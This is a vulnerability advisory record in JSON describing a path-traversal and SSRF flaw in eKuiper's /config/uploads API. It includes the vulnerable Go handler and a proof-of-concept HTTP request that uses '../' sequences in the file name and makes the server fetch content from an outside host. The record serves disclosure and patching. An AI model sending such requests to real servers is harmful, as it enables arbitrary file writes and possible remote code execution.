{"id":"GHSA-gj54-gwj9-x2c6","aliases":["GO-2025-3800"],"url":"https://o3.security/vulnerability/GHSA-gj54-gwj9-x2c6","summary":"eKuiper /config/uploads API arbitrary file writing may lead to RCE","details":"### Summary\neKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.\n\n### Details\n```go \nfunc fileUploadHandler(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\t// Upload or overwrite a file\n\tcase http.MethodPost:\n\t\tswitch r.Header.Get(\"Content-Type\") {\n\t\tcase \"application/json\":\n\t\t\tfc := &fileContent{}\n\t\t\tdefer r.Body.Close()\n\t\t\terr := json.NewDecoder(r.Body).Decode(fc)\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: Error decoding file json\", logger)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fc.Validate()\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: missing necessary field\", logger)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfilePath := filepath.Join(uploadDir, fc.Name)\n\t\t\terr = upload(fc)\n```\n- The fc.Name parameter do not safely filtered.\n\n### PoC\n```\nPOST /config/uploads HTTP/1.1\nHost: localhost:9081\nContent-Type: application/json\nContent-Length: 89\n\n{\n  \"name\": \"../../../../tmp/success\",\n \"file\": \"http://192.168.65.254:8888/success\"\n}\n```\n![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)\n\n### Impact\n\nTested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.\n\n1. SSRF\n2. Path-Travel\n3. May leads to RCE\n\nThe reporters is m0d9 from Tencent YunDing Lab.","published":"2025-07-03T14:22:05Z","modified":"2025-07-28T20:42:20.828190Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/lf-edge/ekuiper/v2","fixedVersion":"2.2.0"},{"ecosystem":"Go","name":"github.com/lf-edge/ekuiper","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/lf-edge/ekuiper/security/advisories/GHSA-gj54-gwj9-x2c6"},{"type":"PACKAGE","url":"https://github.com/lf-edge/ekuiper"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2025-07-28T20:42:20.828190Z"}}